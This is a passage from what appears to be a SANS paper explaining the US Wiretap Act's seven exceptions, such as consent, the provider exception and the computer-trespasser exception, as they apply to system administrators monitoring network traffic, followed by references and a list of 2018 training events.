The Wiretap Act makes it illegal for anyone (law enforcement or any other third party) to install a sniffer (a device to capture network traffic in real-time) unless one of seven exceptions can be shown to apply. Those seven, as described in the July 2002 updated version of the United States Department of Justice Search and Seizure Manual[22] (DOJSS), are:

A. Interception Authorized by Title III Order, 18 U.S.C. §2518.
B. Consent of a Party to the Communication, 18 U.S.C. §2511(2)(c)-(d).
C. The Provider Exception, 18 U.S.C. §2511(2)(a)(i).
D. The Computer Trespasser Exception, 18 U.S.C. §2511(2)(i).
E. The Extension Telephone Exception, 18 U.S.C. §2510(5)(a).
F. Inadvertently Obtained Criminal Evidence Exception, 18 U.S.C. §2511(3)(b)(iv).
G. Accessible to the Public Exception, 18 U.S.C. §2511(2)(g)(i).

We shall examine each of these exceptions in more detail below paying particular attention to how, if at all, this applies to the system administrator.

Interception Authorized by Title III Order, 18 U.S.C. §2518.

This section allows law enforcement to intercept electronic communications if a court order is issued under this section. There are some relatively high hurdles that law enforcement must meet, however, before a Title III order is granted. The requirements are set forth in 18 U.S.C. §§2516-2518[23]. The most notable requirement is that law enforcement must show that "other investigative

[20] http://www.usdoj.gov:80/criminal/cybercrime/usamay2001_2.htm
[21] http://www.usdoj.gov:80/criminal/cybercrime/18usc2511.htm
[22] http://www.usdoj.gov:80/criminal/cybercrime/s&smanual2002.pdf or http://www.usdoj.gov:80/criminal/cybercrime/s&smanual.htm
[23] http://www.law.cornell.edu/uscode/18/2516.html

procedures have been tried and failed or why they reasonably appear to be unlikely to succeed if tried or to be too dangerous" (18 U.S.C. 2518(1)(c))[24]. The Title III order can not be the first step in the investigation. Also, as noted below, a Title III order is only good for thirty days.

For the system administrator, the important thing to note is that if presented with a Title III order, interception (or sniffing) is permitted, but "shall be conducted in such a way as to minimize the interception of communications not otherwise subject to interception under this chapter, *and must terminate upon attainment of the authorized objective*, or in any event in thirty days" (18 U.S.C. §2518(5), italics added for emphasis). Those are two very important points that bear repeating. First, the interception must be as narrow as practicable. Second, once evidence of the crime has been attained the interception must be terminated.

Consent of a Party to the Communication, 18 U.S.C. §2511(2)(c)-(d).

This exception is the most commonly used exception to Title III and there are two parts to it. The first is for those acting "under color of law" (18 U.S.C. §2511(2)(c)), the second for those not acting under color of law (18 U.S.C. §2511(2)(d)). In either case, this exception states that a party to the communication may consent to interception. Put more simply, any party to the communication may record it themselves (though state law in some states may impose more restrictions).

The most significant aspects of this exception for the system administrator are the question of who constitutes a party to the communication and the notion of implied consent. Two cirtcuit courts (the 4th and the 9th) have held that the owner of a computer that is the target of an attack may be considered "party to the communication" for the purposes of this section[25]. Both DOJSS and Assistant US Attorney Strang in his bulletin entitled, "Recognizing and Meeting Title III Concerns in Computer Investigations,"[26] warn that this interpretation is risky on computers that serve only as relays for the communication.

An attacker, however, is always recognized as a party to the communication (his/her attack). Another application of this exception then, is the implied consent noted above. The doctrine of implied consent permits monitoring of any network communication provided the system/network has banners. A banner is simply a notice to users that their activity may be monitored. If the banner is properly presented at the beginning of network activity (either when logging into a system or connecting to certain ports on a computer), the user is considered to have received notice. Consent to monitoring is then implied by continued use of the network or service. The scope of the permitted monitoring depends on the wording of the banner, Appendix A of DOJSS[27] provides sample language for network banners.

[24] http://www.law.cornell.edu/uscode/18/2518.html
[25] http://www.usdoj.gov:80/criminal/cybercrime/s&smanual2002.pdf, pg. 125
[26] http://www.usdoj.gov:80/criminal/cybercrime/usamay2001_2.htm
[27] http://www.usdoj.gov:80/criminal/cybercrime/s&smanual.2002.pdf, pp. 154-156

Further, it should be noted that because of the nature of computer communication, it is not always possible to place banners on all ports or services. This limits the effectiveness of banners in some situations, but should not deter the system administrator from using banners where possible.

The Provider Exception, 18 U.S.C. §2511(2)(a)(i)

This exception is sufficiently important, that we will include the entire text of the paragraph from the US Code below.

> It shall not be unlawful under this chapter for an operator of a switchboard, or an officer, employee, or agent of a provider of wire or electronic communication service, whose facilities are used in the transmission of a wire or electronic communication, to intercept, disclose, or use that communication in the normal course of his employment while engaged in any activity which is a necessary incident to the rendition of his service or to the protection of the rights or property of the provider of that service, except that a provider of wire communication service to the public shall not utilize service observing or random monitoring except for mechanical or service quality control checks.

This exception allows "providers" including system and network administrators to investigate unauthorized use or malicious activity on their system or network and then disclose evidence gathered to law enforcement. The significant limitation of this exception is that cannot be used for indiscriminate monitoring of all communication, it must be "reasonably connected to the protection of the provider's service."[28] It should also be noted that this exception is explicitly granted to the provider and not to law enforcement. Law enforcement officers are precluded from directing monitoring or asking system administrators to monitor systems for law enforcement purposes. Evidence gathered under this exception may be turned over to law enforcement and subsequently used as a basis for a court order, however, provided that the monitoring was done as part of rendering the service or protecting the rights or property of the provider. Appendix G of DOJSS[29], provides a sample letter notifying law enforcement that a provider is conducting monitoring, this letter may alleviate some of the issues surrounding whether or not law enforcement is asking for or directing the monitoring.

The Computer Trespasser Exception, 18 U.S.C. §2511(2)(i).

This exception is a relatively new one resulting from the USA Patriot Act[30],[31],[32] following the 11 Sep 2001 terrorist attacks. The law was enacted in October 2001 and this particular provision is set to expire on 31 Dec 2005 unless extended by

[28] http://www.usdoj.gov:80/criminal/cybercrime/usamay2001_2.htm
[29] http://www.usdoj.gov:80/criminal/cybercrime/s&smanual2002.pdf, pp. 225-226
[30] http://www.politechbot.com/docs/usa.act.final.102401.html
[31] See also http://www.usdoj.gov:80/criminal/cybercrime/PatriotAct.htm
[32] See also http://www.fas.org/irp/crs/RL31337.pdf for an analysis of the USAPA.

Congress. This exception permits victims of computer attack to authorize law enforcement to intercept electronic communications of a computer trespasser.

Of interest in this exception is the definition of a computer trespasser as one who accesses a protected computer (as defined under 18 U.S.C. §1030[33], this can apply to virtually any computer attached to the internet) without authorization. The definition explicitly excludes any person "known by the owner or operator of the protected computer to have an existing contractual relationship with the owner or operator for access to all or part of the protected computer" (18 U.S.C. §2510(21)). This provision specifically forbids the use of this exception for monitoring illegal activities by legitimate users with accounts on the machines being monitored. Also, note that this exception can be used to fill in some of the gaps in the other exceptions, in particular, the weaknesses noted relating to parties to the communication for traffic that merely transits the system or the implied consent for services that cannot be bannered. This exception essentially removes a quirk in the law where a computer intruder was assumed to have a right to privacy in her/his communication (conducting additional malicious activities) if either of those two situations existed. This exception would also allow monitoring that began under the provider exception to continue under the direction of law enforcement provided the four key elements of this exception are satisfied. Those elements are:

a) The owner or operator of the protected computer authorizes the monitoring (18 U.S.C. §2511(2)(i)(I)).
b) The person who intercepts the communication must be "lawfully engaged in an investigation" (18 U.S.C. §2511(2)(i)(II)). This can be the system administrator acting "under color of law" at the direction of law enforcement.
c) The person intercepting the communication must have "reasonable grounds to believe that the contents of the computer trespasser's communications will be relevant to the investigation" (18 U.S.C. §2511(2)(i)(III)).
d) The intercepted communication is limited to those to or from the trespasser (18 U.S.C. §2511(2)(i)(IV)).

Appendix H of DOJSS[34] provides a sample letter authorizing law enforcement to monitor a computer trespasser.

The Extension Telephone Exception, 18 U.S.C. §2510(5)(a).

There does not appear to be much case law around application of this exception to interception of computer network communication. In the case of system or network administrators, it would appear that the provider exception would cover most or all instances where this exception might apply and there is considerably more case law around that other exception, so we will not dwell on this exception.

[33] http://www.law.cornell.edu/uscode/18/1030.html
[34] http://www.usdoj.gov:80/criminal/cybercrim/s&smanual.pdf, pg. 227.

Inadvertently Obtained Criminal Evidence Exception, 18 U.S.C. §2511(3)(b)(iv).

This exception would allow a provider to disclose to law enforcement the contents of communications that "were inadvertently obtained by the service provider and which appear to pertain to the commission of a crime" (18 U.S.C. §2511(3)(b)(iv)). There does not appear to be any applications of this exception to computer cases, yet, however, it would appear that e-mail which details plans for a crime that was misaddressed and bounced to the `postmaster` mailbox, for example, could be legally turned over to law enforcement.

Accessible to the Public Exception, 18 U.S.C. §2511(2)(g)(i).

This exception permits any person to intercept communication through a system designed to make the content "readily accessible to the general public" (18 U.S.C. §2511(2)(g)(i)). As with the previous exception, there does not appear to be any case law applying this exception to computer communication, but the wording would tend to imply that anything posted to a Usenet group, a public chat room, or other public forum could be monitored and disclosed.

Stored Communication

Title III is explicit about applying only to contemporaneous interception of communication. Examining stored communication such as e-mail that has not been retrieved falls under other provisions of the ECPA and is beyond the scope of Title III.

Conclusions

The Wiretap Statute was extended in by the ECPA (in 1986) to cover interception or monitoring of an electronic communication in real time. This means that system and network administrators should become familiar with these laws before engaging in any sniffing of network traffic. The system/network administrator has a great deal of latitude in investigating security issues (especially since the passage of the USAPA), but should consult with her/his legal department if they anticipate using evidence gathered from this sniffing in eventual prosecution.

Refereces

- By far the best reference for this is the US Department of Justice Search and Seizure Manual. This should be everyone's first stop. http://www.usdoj.gov:80/cybercrime/s&smanual2002.pdf or http://www.usdoj.gov:80/cybercrime/s&smanual2002.htm
- See also http://www.usdoj.gov:80/cybercrime/usamay2001_2.htm
- For a general discussion of electronic communication in the workplace, see also http://www.info-law.com/guide.html

- For a listing of many resources, see http://cyber.findlaw.com/criminal/wiretap.html
- The FBI/DOJ Cybercrime page is another excellent resource. See http://www.cybercrime.gov
- For the text of the USA Patriot Act, see http://www.politechbot.com/docs/usa.act.final.102401.html
- For discussion of the USA Patriot Act, see http://www.usdoj.gov:80/cybercrime/PatriotAct.htm
- More USAPA info, http://www.aclu.org/congress/l110101a.html
- More USAPA info, http://www.fas.org/irp/crs/RL31337.pdf
- More USAPA info, http://www.cdt.org/security/010911response.shtml
- For some general guidelines on investigating computer crime, see http://www.usdoj.gov:80/criminal/cybercrime/usamarch2001_2.htm

Last Updated: June 19th, 2018

Upcoming SANS Forensics Training

Minneapolis 2018 - FOR508: Advanced Digital Forensics, Incident Response, and Threat Hunting	Minneapolis, MN	Jun 25, 2018 - Jun 30, 2018	vLive
SANS Vancouver 2018	Vancouver, BC	Jun 25, 2018 - Jun 30, 2018	Live Event
SANS Minneapolis 2018	Minneapolis, MN	Jun 25, 2018 - Jun 30, 2018	Live Event
SANS Paris June 2018	Paris, France	Jun 25, 2018 - Jun 30, 2018	Live Event
SANS Cyber Defence Canberra 2018	Canberra, Australia	Jun 25, 2018 - Jul 07, 2018	Live Event
SANS London July 2018	London, United Kingdom	Jul 02, 2018 - Jul 07, 2018	Live Event
State of Michigan - FOR572: Advanced Network Forensics and Analysis	Lansing, MI	Jul 09, 2018 - Jul 14, 2018	vLive
SANS Cyber Defence Singapore 2018	Singapore, Singapore	Jul 09, 2018 - Jul 14, 2018	Live Event
SANSFIRE 2018	Washington, DC	Jul 14, 2018 - Jul 21, 2018	Live Event
SANS Cyber Defence Bangalore 2018	Bangalore, India	Jul 16, 2018 - Jul 28, 2018	Live Event
SANSFIRE 2018 - FOR585: Advanced Smartphone Forensics	Washington, DC	Jul 16, 2018 - Jul 21, 2018	vLive
Community SANS Columbia FOR500	Columbia, MD	Jul 23, 2018 - Jul 28, 2018	Community SANS
SANS Riyadh July 2018	Riyadh, Kingdom Of Saudi Arabia	Jul 28, 2018 - Aug 02, 2018	Live Event
Security Operations Summit & Training 2018	New Orleans, LA	Jul 30, 2018 - Aug 06, 2018	Live Event
SANS vLive: FOR610: Reverse-Engineering Malware: Malware Analysis Tools and Techniques	FOR610 - 201807,	Jul 30, 2018 - Sep 05, 2018	vLive
SANS San Antonio 2018	San Antonio, TX	Aug 06, 2018 - Aug 11, 2018	Live Event
San Antonio 2018 - FOR508: Advanced Digital Forensics, Incident Response, and Threat Hunting	San Antonio, TX	Aug 06, 2018 - Aug 11, 2018	vLive
SANS August Sydney 2018	Sydney, Australia	Aug 06, 2018 - Aug 25, 2018	Live Event
SANS Boston Summer 2018	Boston, MA	Aug 06, 2018 - Aug 11, 2018	Live Event
SANS New York City Summer 2018	New York City, NY	Aug 13, 2018 - Aug 18, 2018	Live Event
SANS Chicago 2018	Chicago, IL	Aug 20, 2018 - Aug 25, 2018	Live Event
Community SANS Columbia FOR610	Columbia, MD	Aug 20, 2018 - Aug 25, 2018	Community SANS
SANS Virginia Beach 2018	Virginia Beach, VA	Aug 20, 2018 - Aug 31, 2018	Live Event
Data Breach Summit & Training 2018	New York City, NY	Aug 20, 2018 - Aug 27, 2018	Live Event
Mentor Session - FOR508	Copenhagen, Denmark	Aug 22, 2018 - Oct 06, 2018	Mentor
SANS San Francisco Summer 2018	San Francisco, CA	Aug 26, 2018 - Aug 31, 2018	Live Event
SANS Copenhagen August 2018	Copenhagen, Denmark	Aug 27, 2018 - Sep 01, 2018	Live Event
SANS Amsterdam September 2018	Amsterdam, Netherlands	Sep 03, 2018 - Sep 08, 2018	Live Event
SANS Tokyo Autumn 2018	Tokyo, Japan	Sep 03, 2018 - Sep 15, 2018	Live Event
SANS Tampa-Clearwater 2018	Tampa, FL	Sep 04, 2018 - Sep 09, 2018	Live Event
SANS vLive - FOR585: Advanced Smartphone Forensics	FOR585 - 201809,	Sep 04, 2018 - Oct 11, 2018	vLive